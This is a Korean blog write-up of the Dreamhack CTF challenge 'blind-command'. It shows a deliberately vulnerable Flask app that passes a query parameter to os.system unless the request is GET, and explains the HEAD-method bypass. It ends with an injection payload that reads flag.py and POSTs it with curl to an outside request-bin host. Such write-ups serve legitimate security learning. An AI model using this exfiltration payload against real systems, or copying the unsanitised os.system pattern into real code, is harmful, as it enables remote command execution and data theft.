WEB hacking/드림핵(dreamhack)

드림핵 blind-command WriteUp

Roronoa 2023. 9. 4. 21:10
반응형

문제 설명

flag 파일을 읽으면 된다.

소스코드

#!/usr/bin/env python3
from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/' , methods=['GET'])
def index():
    cmd = request.args.get('cmd', '')
    if not cmd:
        return "?cmd=[cmd]"

    if request.method == 'GET':
        ''
    else:
        os.system(cmd)
    return cmd

app.run(host='0.0.0.0', port=8000)

소스코드는 생각보다 짧다. cmd 파라미터를 받고 GET방식 말고 다른 방식으로 요청을 보내야 쉘에서 명령을 수행할 수 있다. 해당 문제를 풀기위해서는 HTTP 메소드에 대해 이해하여야한다.

 

먼저 options 메소드로 전송을 진행해보겠다.

[그림 1] options 메소드 전송

http options 메소드는 서버에 대해 허용된 통신 옵션을 요청한다. 오른쪽 response 결과를 살펴보면 allow에 head, get, options 메소드가 있다. get과 options 메소드를 제외한 head 메소드가 남아있다. head 메소드에 대해 살펴보자.

 

head 메소드는 get 메소드의 요청과 동일한 응답을 요구한다. 하지만 response에서 head만 보일뿐 body 부분을 보여주지 않는다.

body가 보이지 않는다고 해서 os.system(cmd)가 실행되지 않은 것은 아니므로 문제를 해결할 수 있다.

 

curl 명령어를 사용하여 flag.py파일을 읽어 post 방식으로 공격자 서버로 보내서 플래그를 확인할 수 있다.

?cmd=curl%20-X%20POST%20-d%20"$(cat%20flag.py)"%20https://ckfdkhq.request.dreamhack.games

 

반응형